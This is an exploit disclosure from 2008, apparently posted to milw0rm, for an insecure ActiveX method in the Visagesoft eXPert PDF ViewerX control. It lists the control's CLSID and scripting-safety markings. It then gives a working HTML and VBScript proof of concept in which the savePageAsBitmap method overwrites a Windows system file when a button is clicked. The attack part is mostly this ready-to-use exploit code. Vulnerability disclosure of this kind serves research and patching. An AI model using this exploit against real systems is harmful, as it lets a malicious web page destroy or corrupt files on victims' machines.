Visagesoft eXPert PDF ViewerX - 'VSPDFViewerX.ocx' File Overwrite

 VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
 thanks UGIS
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 FileVersion:   3.0.990.0
 CLSID:  {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A}
 Description: Visagesoft PDF Viewer Control
 ProgID:        VSPDFViewer.VSPDFViewer

  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data
  IPStorage Safe: Safe for untrusted: caller,data

 Vulnerable method:
 savePageAsBitmap(ByVal bitmapFileName  As String) As Boolean
##################################################################################
 Vulnerability Description:
    The "savePageAsBitmap" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument, i don't have time, check others functions....
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
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<object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start exploit'>
<script language='vbscript'>
Sub launch
target.savePageAsBitmap "c:\windows\-system.ini"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>
###################################################################################

# milw0rm.com [2008-10-29]